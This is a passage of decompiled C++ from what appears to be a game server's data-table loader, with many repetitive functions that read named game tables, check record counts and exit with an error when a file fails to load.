&& *(_DWORD *)v4 == 261 ) { v5 = acFn; v6 = ITableBase::ms_pkTable + 64; do { v7 = *v5++; *(_BYTE *)v6++ = v7; } while ( v7 ); result = (*(int (__fastcall **)(int, int))(*(_DWORD *)ITableBase::ms_pkTable + 4))( ITableBase::ms_pkTable, v6) != 0; } else { result = 0; } return result; } // 12570A30: using guessed type int ITableBase_GUILD_TOURNAMENT_SKILL_GuildTournamentSkillTable___ms_pkTable; //----- (0053E930) -------------------------------------------------------- bool __cdecl ITableBase::Load(const char *acFn, bool bErrorWhenOpenFailed) { int v2; // eax@1 void *v3; // eax@2 int v4; // eax@7 const char *v5; // ecx@9 int v6; // edx@9 char v7; // al@10 bool result; // al@11 v2 = ITableBase::ms_pkTable; if ( !ITableBase::ms_pkTable ) { v3 = operator new(0xC0u); if ( v3 ) GuildTournamentMasterBuffTable::GuildTournamentMasterBuffTable((GuildTournamentMasterBuffTable *)v2); else v2 = 0; ITableBase::ms_pkTable = v2; } CDataReader::ClearBF((CDataReader *)(v2 + 4)); if ( CDataReader::Read( (CDataReader *)(ITableBase::ms_pkTable + 4), acFn) && (v4 = *(_DWORD *)(ITableBase::ms_pkTable + 52)) != 0 && *(_DWORD *)v4 == 44 ) { v5 = acFn; v6 = ITableBase::ms_pkTable + 64; do { v7 = *v5++; *(_BYTE *)v6++ = v7; } while ( v7 ); result = (*(int (__fastcall **)(int, int))(*(_DWORD *)ITableBase::ms_pkTable + 4))( ITableBase::ms_pkTable, v6) != 0; } else { result = 0; } return result; } // 12570A34: using guessed type int ITableBase_GUILD_TOURNAMENT_MASTERBUFF_GuildTournamentMasterBuffTable___ms_pkTable; //----- (0053EA00) -------------------------------------------------------- bool __cdecl ITableBase::Load(const char *acFn, bool bErrorWhenOpenFailed) { int v2; // eax@1 void *v3; // eax@2 int v4; // eax@7 const char *v5; // ecx@9 int v6; // edx@9 char v7; // al@10 bool result; // al@11 v2 = ITableBase::ms_pkTable; if ( !ITableBase::ms_pkTable ) { v3 = operator new(0xC0u); if ( v3 ) GTIGetRateTable::GTIGetRateTable((GTIGetRateTable *)v2); else v2 = 0; ITableBase::ms_pkTable = v2; } CDataReader::ClearBF((CDataReader *)(v2 + 4)); if ( CDataReader::Read((CDataReader *)(ITableBase::ms_pkTable + 4), acFn) && (v4 = *(_DWORD *)(ITableBase::ms_pkTable + 52)) != 0 && *(_DWORD *)v4 == 70 ) { v5 = acFn; v6 = ITableBase::ms_pkTable + 64; do { v7 = *v5++; *(_BYTE *)v6++ = v7; } while ( v7 ); result = (*(int (__fastcall **)(int, int))(*(_DWORD *)ITableBase::ms_pkTable + 4))( ITableBase::ms_pkTable, v6) != 0; } else { result = 0; } return result; } // 12570A38: using guessed type int ITableBase_GTIGetRate_GTIGetRateTable___ms_pkTable; //----- (0053EAD0) -------------------------------------------------------- bool __cdecl ITableBase::Load(const char *acFn, bool bErrorWhenOpenFailed) { int v2; // eax@1 void *v3; // eax@2 int v4; // eax@7 const char *v5; // ecx@9 int v6; // edx@9 char v7; // al@10 bool result; // al@11 v2 = ITableBase::ms_pkTable; if ( !ITableBase::ms_pkTable ) { v3 = operator new(0xC0u); if ( v3 ) GTIGetRateGapTable::GTIGetRateGapTable((GTIGetRateGapTable *)v2); else v2 = 0; ITableBase::ms_pkTable = v2; } CDataReader::ClearBF((CDataReader *)(v2 + 4)); if ( CDataReader::Read((CDataReader *)(ITableBase::ms_pkTable + 4), acFn) && (v4 = *(_DWORD *)(ITableBase::ms_pkTable + 52)) != 0 && *(_DWORD *)v4 == 7 ) { v5 = acFn; v6 = ITableBase::ms_pkTable + 64; do { v7 = *v5++; *(_BYTE *)v6++ = v7; } while ( v7 ); result = (*(int (__fastcall **)(int, int))(*(_DWORD *)ITableBase::ms_pkTable + 4))( ITableBase::ms_pkTable, v6) != 0; } else { result = 0; } return result; } // C8F2518: using guessed type int ITableBase_GTIGetRateGap_GTIGetRateGapTable___ms_pkTable; //----- (0053EBA0) -------------------------------------------------------- bool __cdecl ITableBase::Load(const char *acFn, bool bErrorWhenOpenFailed) { int v2; // eax@1 void *v3; // eax@2 int v4; // eax@7 const char *v5; // ecx@9 int v6; // edx@9 char v7; // al@10 bool result; // al@11 v2 = ITableBase::ms_pkTable; if ( !ITableBase::ms_pkTable ) { v3 = operator new(0xC0u); if ( v3 ) GTIServerTable::GTIServerTable((GTIServerTable *)v2); else v2 = 0; ITableBase::ms_pkTable = v2; } CDataReader::ClearBF((CDataReader *)(v2 + 4)); if ( CDataReader::Read((CDataReader *)(ITableBase::ms_pkTable + 4), acFn) && (v4 = *(_DWORD *)(ITableBase::ms_pkTable + 52)) != 0 && *(_DWORD *)v4 == 383 ) { v5 = acFn; v6 = ITableBase::ms_pkTable + 64; do { v7 = *v5++; *(_BYTE *)v6++ = v7; } while ( v7 ); result = (*(int (__fastcall **)(int, int))(*(_DWORD *)ITableBase::ms_pkTable + 4))( ITableBase::ms_pkTable, v6) != 0; } else { result = 0; } return result; } // C8F251C: using guessed type int ITableBase_GTIServer_GTIServerTable___ms_pkTable; //----- (0053EC70) -------------------------------------------------------- bool __cdecl ITableBase::Load(const char *acFn, bool bErrorWhenOpenFailed) { int v2; // eax@1 void *v3; // eax@2 int v4; // eax@7 const char *v5; // ecx@9 int v6; // edx@9 char v7; // al@10 bool result; // al@11 v2 = ITableBase::ms_pkTable; if ( !ITableBase::ms_pkTable ) { v3 = operator new(0xC0u); if ( v3 ) GTIBreedSubjectTable::GTIBreedSubjectTable((GTIBreedSubjectTable *)v2); else v2 = 0; ITableBase::ms_pkTable = v2; } CDataReader::ClearBF((CDataReader *)(v2 + 4)); if ( CDataReader::Read((CDataReader *)(ITableBase::ms_pkTable + 4), acFn) && (v4 = *(_DWORD *)(ITableBase::ms_pkTable + 52)) != 0 && *(_DWORD *)v4 == 44 ) { v5 = acFn; v6 = ITableBase::ms_pkTable + 64; do { v7 = *v5++; *(_BYTE *)v6++ = v7; } while ( v7 ); result = (*(int (__fastcall **)(int, int))(*(_DWORD *)ITableBase::ms_pkTable + 4))( ITableBase::ms_pkTable, v6) != 0; } else { result = 0; } return result; } // 12570A3C: using guessed type int ITableBase_GTIBreedSubject_GTIBreedSubjectTable___ms_pkTable; //----- (0053ED40) -------------------------------------------------------- bool __cdecl ITableBase::Load(const char *acFn, bool bErrorWhenOpenFailed) { int v2; // eax@1 void *v3; // eax@2 int v4; // eax@7 const char *v5; // ecx@9 int v6; // edx@9 char v7; // al@10 bool result; // al@11 v2 = ITableBase::ms_pkTable; if ( !ITableBase::ms_pkTable ) { v3 = operator new(0xC0u); if ( v3 ) GTWinScoreTable::GTWinScoreTable((GTWinScoreTable *)v2); else v2 = 0; ITableBase::ms_pkTable = v2; } CDataReader::ClearBF((CDataReader *)(v2 + 4)); if ( CDataReader::Read((CDataReader *)(ITableBase::ms_pkTable + 4), acFn) && (v4 = *(_DWORD *)(ITableBase::ms_pkTable + 52)) != 0 && *(_DWORD *)v4 == 1 ) { v5 = acFn; v6 = ITableBase::ms_pkTable + 64; do { v7 = *v5++; *(_BYTE *)v6++ = v7; } while ( v7 ); result = (*(int (__fastcall **)(int, int))(*(_DWORD *)ITableBase::ms_pkTable + 4))( ITableBase::ms_pkTable, v6) != 0; } else { result = 0; } return result; } // C8F2520: using guessed type int ITableBase_GTWinScore_GTWinScoreTable___ms_pkTable; //----- (0053EE10) -------------------------------------------------------- bool __cdecl ITableBase::Load(const char *acFn, bool bErrorWhenOpenFailed) { int v2; // eax@1 void *v3; // eax@2 int v4; // eax@7 const char *v5; // ecx@9 int v6; // edx@9 char v7; // al@10 bool result; // al@11 v2 = ITableBase::ms_pkTable; if ( !ITableBase::ms_pkTable ) { v3 = operator new(0xC0u); if ( v3 ) AccUpGradeTable::AccUpGradeTable((AccUpGradeTable *)v2); else v2 = 0; ITableBase::ms_pkTable = v2; } CDataReader::ClearBF((CDataReader *)(v2 + 4)); if ( CDataReader::Read((CDataReader *)(ITableBase::ms_pkTable + 4), acFn) && (v4 = *(_DWORD *)(ITableBase::ms_pkTable + 52)) != 0 && *(_DWORD *)v4 == 81 ) { v5 = acFn; v6 = ITableBase::ms_pkTable + 64; do { v7 = *v5++; *(_BYTE *)v6++ = v7; } while ( v7 ); result = (*(int (__fastcall **)(int, int))(*(_DWORD *)ITableBase::ms_pkTable + 4))( ITableBase::ms_pkTable, v6) != 0; } else { result = 0; } return result; } // 124CE158: using guessed type int ITableBase_AccUpgrade_AccUpGradeTable___ms_pkTable; //----- (0053EEE0) -------------------------------------------------------- bool __cdecl ITableBase::Load(const char *acFn, bool bErrorWhenOpenFailed) { int v2; // eax@1 void *v3; // eax@2 int v4; // eax@7 const char *v5; // ecx@9 int v6; // edx@9 char v7; // al@10 bool result; // al@11 v2 = ITableBase::ms_pkTable; if ( !ITableBase::ms_pkTable ) { v3 = operator new(0xC0u); if ( v3 ) MysteryVaultTable::MysteryVaultTable((MysteryVaultTable *)v2); else v2 = 0; ITableBase::ms_pkTable = v2; } CDataReader::ClearBF((CDataReader *)(v2 + 4)); if ( CDataReader::Read((CDataReader *)(ITableBase::ms_pkTable + 4), acFn) && (v4 = *(_DWORD *)(ITableBase::ms_pkTable + 52)) != 0 && *(_DWORD *)v4 == 134 ) { v5 = acFn; v6 = ITableBase::ms_pkTable + 64; do { v7 = *v5++; *(_BYTE *)v6++ = v7; } while ( v7 ); result = (*(int (__fastcall **)(int, int))(*(_DWORD *)ITableBase::ms_pkTable + 4))( ITableBase::ms_pkTable, v6) != 0; } else { result = 0; } return result; } // 12570A40: using guessed type int ITableBase_MysteryVaultServer_MysteryVaultTable___ms_pkTable; //----- (0053EFB0) -------------------------------------------------------- bool __cdecl ITableBase::Load(const char *acFn, bool bErrorWhenOpenFailed) { int v2; // eax@1 void *v3; // eax@2 int v4; // eax@7 const char *v5; // ecx@9 int v6; // edx@9 char v7; // al@10 bool result; // al@11 v2 = ITableBase::ms_pkTable; if ( !ITableBase::ms_pkTable ) { v3 = operator new(0xC0u); if ( v3 ) LevelGap_Player_to_Monster::LevelGap_Player_to_Monster((LevelGap_Player_to_Monster *)v2); else v2 = 0; ITableBase::ms_pkTable = v2; } CDataReader::ClearBF((CDataReader *)(v2 + 4)); if ( CDataReader::Read((CDataReader *)(ITableBase::ms_pkTable + 4), acFn) && (v4 = *(_DWORD *)(ITableBase::ms_pkTable + 52)) != 0 && *(_DWORD *)v4 == 7 ) { v5 = acFn; v6 = ITableBase::ms_pkTable + 64; do { v7 = *v5++; *(_BYTE *)v6++ = v7; } while ( v7 ); result = (*(int (__fastcall **)(int, int))(*(_DWORD *)ITableBase::ms_pkTable + 4))( ITableBase::ms_pkTable, v6) != 0; } else { result = 0; } return result; } // 12570A44: using guessed type int ITableBase_DamageLvGapPVE_LevelGap_Player_to_Monster___ms_pkTable; //----- (0053F080) -------------------------------------------------------- bool __cdecl ITableBase::Load(const char *acFn, bool bErrorWhenOpenFailed) { int v2; // eax@1 void *v3; // eax@2 int v4; // eax@7 const char *v5; // ecx@9 int v6; // edx@9 char v7; // al@10 bool result; // al@11 v2 = ITableBase::ms_pkTable; if ( !ITableBase::ms_pkTable ) { v3 = operator new(0xC0u); if ( v3 ) LevelGap_Monster_to_Player::LevelGap_Monster_to_Player((LevelGap_Monster_to_Player *)v2); else v2 = 0; ITableBase::ms_pkTable = v2; } CDataReader::ClearBF((CDataReader *)(v2 + 4)); if ( CDataReader::Read((CDataReader *)(ITableBase::ms_pkTable + 4), acFn) && (v4 = *(_DWORD *)(ITableBase::ms_pkTable + 52)) != 0 && *(_DWORD *)v4 == 7 ) { v5 = acFn; v6 = ITableBase::ms_pkTable + 64; do { v7 = *v5++; *(_BYTE *)v6++ = v7; } while ( v7 ); result = (*(int (__fastcall **)(int, int))(*(_DWORD *)ITableBase::ms_pkTable + 4))( ITableBase::ms_pkTable, v6) != 0; } else { result = 0; } return result; } // 12570A48: using guessed type int ITableBase_DamageLvGapEVP_LevelGap_Monster_to_Player___ms_pkTable; //----- (0053F150) -------------------------------------------------------- void *__thiscall AccUpGradeInfoTable::_scalar_deleting_destructor_(AccUpGradeInfoTable *this, unsigned int a2) { void *v2; // esi@1 v2 = this; AccUpGradeInfoTable::_AccUpGradeInfoTable(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (0053F170) -------------------------------------------------------- void *__thiscall IIDTableBase::_vector_deleting_destructor_(LevelGap_Player_to_Player *this, unsigned int a2) { void *v2; // esi@1 v2 = this; LevelGap_Player_to_Player::_LevelGap_Player_to_Player(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (0053F190) -------------------------------------------------------- void __thiscall LevelGap_Player_to_Player::_LevelGap_Player_to_Player(LevelGap_Player_to_Player *this) { ITableBase *v1; // esi@1 void *v2; // ST00_4@1 v1 = (ITableBase *)this; v2 = this->baseclass_0.m_pkRecordIDMap; this->baseclass_0.baseclass_0.vfptr = (ITableBaseVtbl *)&IIDTableBase::_vftable_; operator delete__(v2); ITableBase::_ITableBase(v1); } // 5E17F4: using guessed type int (__cdecl *IIDTableBase_DamageLvGapPVP_LevelGap_Player_to_Player_unsigned char____vftable_)(int __formal); //----- (0053F1B0) -------------------------------------------------------- bool __cdecl ITableBase::Load(const char *acFn, bool bErrorWhenOpenFailed) { int v2; // eax@1 void *v3; // eax@2 int v4; // esi@2 int v5; // eax@7 const char *v6; // ecx@9 int v7; // edx@9 char v8; // al@10 bool result; // al@11 v2 = ITableBase::ms_pkTable; if ( !ITableBase::ms_pkTable ) { v3 = operator new(0xC8u); v4 = (int)v3; if ( v3 ) { IIDTableBase::IIDTableBase((IIDTableBase *)v3); *(_DWORD *)v4 = &AccUpGradeInfoTable::_vftable_; v2 = v4; } else { v2 = 0; } ITableBase::ms_pkTable = v2; } CDataReader::ClearBF((CDataReader *)(v2 + 4)); if ( CDataReader::Read((CDataReader *)(ITableBase::ms_pkTable + 4), acFn) && (v5 = *(_DWORD *)(ITableBase::ms_pkTable + 52)) != 0 && *(_DWORD *)v5 == 3999 ) { v6 = acFn; v7 = ITableBase::ms_pkTable + 64; do { v8 = *v6++; *(_BYTE *)v7++ = v8; } while ( v8 ); result = (*(int (__fastcall **)(int, int))(*(_DWORD *)ITableBase::ms_pkTable + 4))( ITableBase::ms_pkTable, v7) != 0; } else { result = 0; } return result; } // 5E18B0: using guessed type int (__cdecl *AccUpGradeInfoTable___vftable_)(int __formal); // 12570A4C: using guessed type int ITableBase_AccUpGradeInfo_AccUpGradeInfoTable___ms_pkTable; //----- (0053F290) -------------------------------------------------------- bool __cdecl ITableBase::Load(const char *acFn, bool bErrorWhenOpenFailed) { int v2; // eax@1 void *v3; // eax@2 int v4; // esi@2 int v5; // eax@7 const char *v6; // ecx@9 int v7; // edx@9 char v8; // al@10 bool result; // al@11 v2 = ITableBase::ms_pkTable; if ( !ITableBase::ms_pkTable ) { v3 = operator new(0xC8u); v4 = (int)v3; if ( v3 ) { IIDTableBase::IIDTableBase((IIDTableBase *)v3); *(_DWORD *)v4 = &LevelGap_Player_to_Player::_vftable_; v2 = v4; } else { v2 = 0; } ITableBase::ms_pkTable = v2; } CDataReader::ClearBF((CDataReader *)(v2 + 4)); if ( CDataReader::Read((CDataReader *)(ITableBase::ms_pkTable + 4), acFn) && (v5 = *(_DWORD *)(ITableBase::ms_pkTable + 52)) != 0 && *(_DWORD *)v5 == 56776 ) { v6 = acFn; v7 = ITableBase::ms_pkTable + 64; do { v8 = *v6++; *(_BYTE *)v7++ = v8; } while ( v8 ); result = (*(int (__fastcall **)(int, int))(*(_DWORD *)ITableBase::ms_pkTable + 4))( ITableBase::ms_pkTable, v7) != 0; } else { result = 0; } return result; } // 5E18C4: using guessed type int (__cdecl *LevelGap_Player_to_Player___vftable_)(int __formal); // 12570A50: using guessed type int ITableBase_DamageLvGapPVP_LevelGap_Player_to_Player___ms_pkTable; //----- (0053F370) -------------------------------------------------------- void __thiscall std::vector>::_Xlen(std::vector > *this) { std::basic_string,std::allocator > thisa; // [sp+0h] [bp-50h]@1 int (__thiscall **pExceptionObject)(void *, char); // [sp+1Ch] [bp-34h]@1 int v3; // [sp+4Ch] [bp-4h]@1 thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&thisa, "vector too long", 0x12u); v3 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::length_error::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVlength_error_std__); } // 5E86CC: using guessed type int (__thiscall *std__length_error___vftable_)(void *p, char); //----- (0053F3E0) -------------------------------------------------------- void __cdecl Table::Load(const char *pkChar) { std::basic_string,std::allocator > *v1; // eax@1 const char *v2; // esi@1 const char *v3; // eax@3 char *v4; // eax@6 std::basic_string,std::allocator > strError; // [sp+0h] [bp-48h]@1 std::basic_string,std::allocator > strpath; // [sp+1Ch] [bp-2Ch]@1 unsigned int cookie; // [sp+38h] [bp-10h]@13 int v8; // [sp+44h] [bp-4h]@1 v1 = Table::GetTableDir(); strpath._Myres = 15; strpath._Mysize = 0; strpath._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&strpath, v1, 0, 0xFFFFFFFFu); v8 = 0; strError._Myres = 15; strError._Mysize = 0; strError._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&strError, "Fail to read : ", 0x10u); LOBYTE(v8) = 1; std::basic_string_std::allocator>::append(&strError, pkChar, strlen(pkChar)); std::basic_string_std::allocator>::append(&strpath, pkChar, strlen(pkChar)); v2 = *(const char **)&strError._Bx._Buf[0]; if ( strError._Myres < 0x10 ) v2 = (const char *)&strError._Bx; v3 = *(const char **)&strpath._Bx._Buf[0]; if ( strpath._Myres < 0x10 ) v3 = (const char *)&strpath._Bx; if ( !ITableBase::Load(v3, 1) ) { AssertClass::ac_AssertFail(&shineassert, v2, 0); v4 = *(char **)&strError._Bx._Buf[0]; if ( strError._Myres < 0x10 ) v4 = (char *)&strError._Bx; ShineExit(v4); } if ( strError._Myres >= 0x10 ) operator delete(*(void **)&strError._Bx._Buf[0]); strError._Mysize = 0; strError._Bx._Buf[0] = 0; strError._Myres = 15; if ( strpath._Myres >= 0x10 ) operator delete(*(void **)&strpath._Bx._Buf[0]); __security_check_cookie(cookie); } //----- (0053F540) -------------------------------------------------------- void __cdecl Table::Load(const char *pkChar) { std::basic_string,std::allocator > *v1; // eax@1 const char *v2; // esi@1 const char *v3; // eax@3 char *v4; // eax@6 std::basic_string,std::allocator > strError; // [sp+0h] [bp-48h]@1 std::basic_string,std::allocator > strpath; // [sp+1Ch] [bp-2Ch]@1 unsigned int cookie; // [sp+38h] [bp-10h]@13 int v8; // [sp+44h] [bp-4h]@1 v1 = Table::GetTableDir(); strpath._Myres = 15; strpath._Mysize = 0; strpath._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&strpath, v1, 0, 0xFFFFFFFFu); v8 = 0; strError._Myres = 15; strError._Mysize = 0; strError._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&strError, "Fail to read : ", 0x10u); LOBYTE(v8) = 1; std::basic_string_std::allocator>::append(&strError, pkChar, strlen(pkChar)); std::basic_string_std::allocator>::append(&strpath, pkChar, strlen(pkChar)); v2 = *(const char **)&strError._Bx._Buf[0]; if ( strError._Myres < 0x10 ) v2 = (const char *)&strError._Bx; v3 = *(const char **)&strpath._Bx._Buf[0]; if ( strpath._Myres < 0x10 ) v3 = (const char *)&strpath._Bx; if ( !ITableBase::Load(v3, 1) ) { AssertClass::ac_AssertFail(&shineassert, v2, 0); v4 = *(char **)&strError._Bx._Buf[0]; if ( strError._Myres < 0x10 ) v4 = (char *)&strError._Bx; ShineExit(v4); } if ( strError._Myres >= 0x10 ) operator delete(*(void **)&strError._Bx._Buf[0]); strError._Mysize = 0; strError._Bx._Buf[0] = 0; strError._Myres = 15; if ( strpath._Myres >= 0x10 ) operator delete(*(void **)&strpath._Bx._Buf[0]); __security_check_cookie(cookie); } //----- (0053F6A0) -------------------------------------------------------- void __cdecl Table::Load(const char *pkChar) { std::basic_string,std::allocator > *v1; // eax@1 const char *v2; // esi@1 const char *v3; // eax@3 char *v4; // eax@6 std::basic_string,std::allocator > strError; // [sp+0h] [bp-48h]@1 std::basic_string,std::allocator > strpath; // [sp+1Ch] [bp-2Ch]@1 unsigned int cookie; // [sp+38h] [bp-10h]@13 int v8; // [sp+44h] [bp-4h]@1 v1 = Table::GetTableDir(); strpath._Myres = 15; strpath._Mysize = 0; strpath._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&strpath, v1, 0, 0xFFFFFFFFu); v8 = 0; strError._Myres = 15; strError._Mysize = 0; strError._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&strError, "Fail to read : ", 0x10u); LOBYTE(v8) = 1; std::basic_string_std::allocator>::append(&strError, pkChar, strlen(pkChar)); std::basic_string_std::allocator>::append(&strpath, pkChar, strlen(pkChar)); v2 = *(const char **)&strError._Bx._Buf[0]; if ( strError._Myres < 0x10 ) v2 = (const char *)&strError._Bx; v3 = *(const char **)&strpath._Bx._Buf[0]; if ( strpath._Myres < 0x10 ) v3 = (const char *)&strpath._Bx; if ( !ITableBase::Load(v3, 1) ) { AssertClass::ac_AssertFail(&shineassert, v2, 0); v4 = *(char **)&strError._Bx._Buf[0]; if ( strError._Myres < 0x10 ) v4 = (char *)&strError._Bx; ShineExit(v4); } if ( strError._Myres >= 0x10 ) operator delete(*(void **)&strError._Bx._Buf[0]); strError._Mysize = 0; strError._Bx._Buf[0] = 0; strError._Myres = 15; if ( strpath._Myres >= 0x10 ) operator delete(*(void **)&strpath._Bx._Buf[0]); __security_check_cookie(cookie); } //----- (0053F800) -------------------------------------------------------- void __cdecl Table::Load(const char *pkChar) { std::basic_string,std::allocator > *v1; // eax@1 const char *v2; // esi@1 const char *v3; // eax@3 char *v4; // eax@6 std::basic_string,std::allocator > strError; // [sp+0h] [bp-48h]@1 std::basic_string,std::allocator > strpath; // [sp+1Ch] [bp-2Ch]@1 unsigned int cookie; // [sp+38h] [bp-10h]@13 int v8; // [sp+44h] [bp-4h]@1 v1 = Table::GetTableDir(); strpath._Myres = 15; strpath._Mysize = 0; strpath._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&strpath, v1, 0, 0xFFFFFFFFu); v8 = 0; strError._Myres = 15; strError._Mysize = 0; strError._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&strError, "Fail to read : ", 0x10u); LOBYTE(v8) = 1; std::basic_string_std::allocator>::append(&strError, pkChar, strlen(pkChar)); std::basic_string_std::allocator>::append(&strpath, pkChar, strlen(pkChar)); v2 = *(const char **)&strError._Bx._Buf[0]; if ( strError._Myres < 0x10 ) v2 = (const char *)&strError._Bx; v3 = *(const char **)&strpath._Bx._Buf[0]; if ( strpath._Myres < 0x10 ) v3 = (const char *)&strpath._Bx; if ( !ITableBase::Load(v3, 1) ) { AssertClass::ac_AssertFail(&shineassert, v2, 0); v4 = *(char **)&strError._Bx._Buf[0]; if ( strError._Myres < 0x10 ) v4 = (char *)&strError._Bx; ShineExit(v4); } if ( strError._Myres >= 0x10 ) operator delete(*(void **)&strError._Bx._Buf[0]); strError._Mysize = 0; strError._Bx._Buf[0] = 0; strError._Myres = 15; if ( strpath._Myres >= 0x10 ) operator delete(*(void **)&strpath._Bx._Buf[0]); __security_check_cookie(cookie); } //----- (0053F960) -------------------------------------------------------- void __cdecl Table::Load(const char *pkChar) { std::basic_string,std::allocator > *v1; // eax@1 const char *v2; // esi@1 const char *v3; // eax@3 char *v4; // eax@6 std::basic_string,std::allocator > strError; // [sp+0h] [bp-48h]@1 std::basic_string,std::allocator > strpath; // [sp+1Ch] [bp-2Ch]@1 unsigned int cookie; // [sp+38h] [bp-10h]@13 int v8; // [sp+44h] [bp-4h]@1 v1 = Table::GetTableDir(); strpath._Myres = 15; strpath._Mysize = 0; strpath._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&strpath, v1, 0, 0xFFFFFFFFu); v8 = 0; strError._Myres = 15; strError._Mysize = 0; strError._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&strError, "Fail to read : ", 0x10u); LOBYTE(v8) = 1; std::basic_string_std::allocator>::append(&strError, pkChar, strlen(pkChar)); std::basic_string_std::allocator>::append(&strpath, pkChar, strlen(pkChar)); v2 = *(const char **)&strError._Bx._Buf[0]; if ( strError._Myres < 0x10 ) v2 = (const char *)&strError._Bx; v3 = *(const char **)&strpath._Bx._Buf[0]; if ( strpath._Myres < 0x10 ) v3 = (const char *)&strpath._Bx; if ( !ITableBase::Load(v3, 1) ) { AssertClass::ac_AssertFail(&shineassert, v2, 0); v4 = *(char **)&strError._Bx._Buf[0]; if ( strError._Myres < 0x10 ) v4 = (char *)&strError._Bx; ShineExit(v4); } if ( strError._Myres >= 0x10 ) operator delete(*(void **)&strError._Bx._Buf[0]); strError._Mysize = 0; strError._Bx._Buf[0] = 0; strError._Myres = 15; if ( strpath._Myres >= 0x10 ) operator delete(*(void **)&strpath._Bx._Buf[0]); __security_check_cookie(cookie); } //----- (0053FAC0) -------------------------------------------------------- void __cdecl Table::Load(const char *pkChar) { std::basic_string,std::allocator > *v1; // eax@1 const char *v2; // esi@1 const char *v3; // eax@3 char *v4; // eax@6 std::basic_string,std::allocator > strError; // [sp+0h] [bp-48h]@1 std::basic_string,std::allocator > strpath; // [sp+1Ch] [bp-2Ch]@1 unsigned int cookie; // [sp+38h] [bp-10h]@13 int v8; // [sp+44h] [bp-4h]@1 v1 = Table::GetTableDir(); strpath._Myres = 15; strpath._Mysize = 0; strpath._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&strpath, v1, 0, 0xFFFFFFFFu); v8 = 0; strError._Myres = 15; strError._Mysize = 0; strError._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&strError, "Fail to read : ", 0x10u); LOBYTE(v8) = 1; std::basic_string_std::allocator>::append(&strError, pkChar, strlen(pkChar)); std::basic_string_std::allocator>::append(&strpath, pkChar, strlen(pkChar)); v2 = *(const char **)&strError._Bx._Buf[0]; if ( strError._Myres < 0x10 ) v2 = (const char *)&strError._Bx; v3 = *(const char **)&strpath._Bx._Buf[0]; if ( strpath._Myres < 0x10 ) v3 = (const char *)&strpath._Bx; if ( !ITableBase::Load(v3, 1) ) { AssertClass::ac_AssertFail(&shineassert, v2, 0); v4 = *(char **)&strError._Bx._Buf[0]; if ( strError._Myres < 0x10 ) v4 = (char *)&strError._Bx; ShineExit(v4); } if ( strError._Myres >= 0x10 ) operator delete(*(void **)&strError._Bx._Buf[0]); strError._Mysize = 0; strError._Bx._Buf[0] = 0; strError._Myres = 15; if ( strpath._Myres >= 0x10 ) operator delete(*(void **)&strpath._Bx._Buf[0]); __security_check_cookie(cookie); } //----- (0053FC20) -------------------------------------------------------- void __cdecl Table::Load(const char *pkChar) { std::basic_string,std::allocator > *v1; // eax@1 const char *v2; // esi@1 const char *v3; // eax@3 char *v4; // eax@6 std::basic_string,std::allocator > strError; // [sp+0h] [bp-48h]@1 std::basic_string,std::allocator > strpath; // [sp+1Ch] [bp-2Ch]@1 unsigned int cookie; // [sp+38h] [bp-10h]@13 int v8; // [sp+44h] [bp-4h]@1 v1 = Table::GetTableDir(); strpath._Myres = 15; strpath._Mysize = 0; strpath._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&strpath, v1, 0, 0xFFFFFFFFu); v8 = 0; strError._Myres = 15; strError._Mysize = 0; strError._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&strError, "Fail to read : ", 0x10u); LOBYTE(v8) = 1; std::basic_string_std::allocator>::append(&strError, pkChar, strlen(pkChar)); std::basic_string_std::allocator>::append(&strpath, pkChar, strlen(pkChar)); v2 = *(const char **)&strError._Bx._Buf[0]; if ( strError._Myres < 0x10 ) v2 = (const char *)&strError._Bx; v3 = *(const char **)&strpath._Bx._Buf[0]; if ( strpath._Myres < 0x10 ) v3 = (const char *)&strpath._Bx; if ( !ITableBase::Load(v3, 1) ) { AssertClass::ac_AssertFail(&shineassert, v2, 0); v4 = *(char **)&strError._Bx._Buf[0]; if ( strError._Myres < 0x10 ) v4 = (char *)&strError._Bx; ShineExit(v4); } if ( strError._Myres >= 0x10 ) operator delete(*(void **)&strError._Bx._Buf[0]); strError._Mysize = 0; strError._Bx._Buf[0] = 0; strError._Myres = 15; if ( strpath._Myres >= 0x10 ) operator delete(*(void **)&strpath._Bx._Buf[0]); __security_check_cookie(cookie); } //----- (0053FD80) -------------------------------------------------------- void __cdecl Table::Load(const char *pkChar) { std::basic_string,std::allocator > *v1; // eax@1 const char *v2; // esi@1 const char *v3; // eax@3 char *v4; // eax@6 std::basic_string,std::allocator > strError; // [sp+0h] [bp-48h]@1 std::basic_string,std::allocator > strpath; // [sp+1Ch] [bp-2Ch]@1 unsigned int cookie; // [sp+38h] [bp-10h]@13 int v8; // [sp+44h] [bp-4h]@1 v1 = Table::GetTableDir(); strpath._Myres = 15; strpath._Mysize = 0; strpath._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&strpath, v1, 0, 0xFFFFFFFFu); v8 = 0; strError._Myres = 15; strError._Mysize = 0; strError._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&strError, "Fail to read : ", 0x10u); LOBYTE(v8) = 1; std::basic_string_std::allocator>::append(&strError, pkChar, strlen(pkChar)); std::basic_string_std::allocator>::append(&strpath, pkChar, strlen(pkChar)); v2 = *(const char **)&strError._Bx._Buf[0]; if ( strError._Myres < 0x10 ) v2 = (const char *)&strError._Bx; v3 = *(const char **)&strpath._Bx._Buf[0]; if ( strpath._Myres < 0x10 ) v3 = (const char *)&strpath._Bx; 